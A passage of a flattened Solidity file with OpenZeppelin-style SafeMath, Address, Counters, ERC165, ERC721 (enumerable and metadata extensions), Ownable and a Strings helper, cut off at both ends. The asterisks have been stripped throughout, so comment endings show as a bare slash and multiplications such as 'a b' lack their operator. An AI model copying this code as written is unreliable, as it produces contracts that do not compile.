overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity ^0.5.5; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ / function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: openzeppelin-solidity/contracts/drafts/Counters.sol pragma solidity ^0.5.0; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. / library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: openzeppelin-solidity/contracts/introspection/ERC165.sol pragma solidity ^0.5.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. / contract ERC165 is IERC165 { / * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 / bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /* * @dev Mapping of interface ids to whether or not it's supported. / mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /* * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /* * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). / function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol pragma solidity ^0.5.0; /* * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 / contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; / * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd / bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /* * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address / function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /* * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID / function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved / function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /* * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID / function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set / function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /* * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner / function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /* * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /* * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check / function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /* * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check / function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists / function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /* * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted / function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /* * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check / function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted / function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /* * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned / function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /* * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned / function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /* * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This is an internal detail of the `ERC721` contract and its use is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data )); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } /* * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred / function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol pragma solidity ^0.5.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol pragma solidity ^0.5.0; /* * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 / contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; / * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 / bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /* * @dev Constructor function. / constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /* * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address / function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens / function totalSupply() public view returns (uint256) { return _allTokens.length; } /* * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list / function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred / function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /* * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted / function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /* * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned / function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /* * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address / function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol pragma solidity ^0.5.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / contract IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol pragma solidity ^0.5.0; contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Base URI string private _baseURI; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; / * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f / bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * @dev Constructor function / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /* * @dev Gets the token name. * @return string representing the token name / function name() external view returns (string memory) { return _name; } /* * @dev Gets the token symbol. * @return string representing the token symbol / function symbol() external view returns (string memory) { return _symbol; } /* * @dev Returns the URI for a given token ID. May return an empty string. * * If the token's URI is non-empty and a base URI was set (via * {_setBaseURI}), it will be added to the token ID's URI as a prefix. * * Reverts if the token ID does not exist. / function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_tokenURI).length == 0) { return ""; } else { // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_baseURI, _tokenURI)); } } /* * @dev Internal function to set the token URI for a given token. * * Reverts if the token ID does not exist. * * TIP: if all token IDs share a prefix (e.g. if your URIs look like * `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store * it and save gas. / function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /* * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}. * * _Available since v2.5.0._ / function _setBaseURI(string memory baseURI) internal { _baseURI = baseURI; } /* * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a preffix in {tokenURI} to each token's URI, when * they are non-empty. * * _Available since v2.5.0._ / function baseURI() external view returns (string memory) { return _baseURI; } /* * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender / function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol pragma solidity ^0.5.0; /* * @title Full ERC721 Token * @dev This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology. * * See https://eips.ethereum.org/EIPS/eip-721 / contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata { constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) { // solhint-disable-previous-line no-empty-blocks } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /* * @dev Returns true if the caller is the current owner. / function isOwner() public view returns (bool) { return _msgSender() == _owner; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). / function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Strings.sol pragma solidity ^0.5.0; library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j 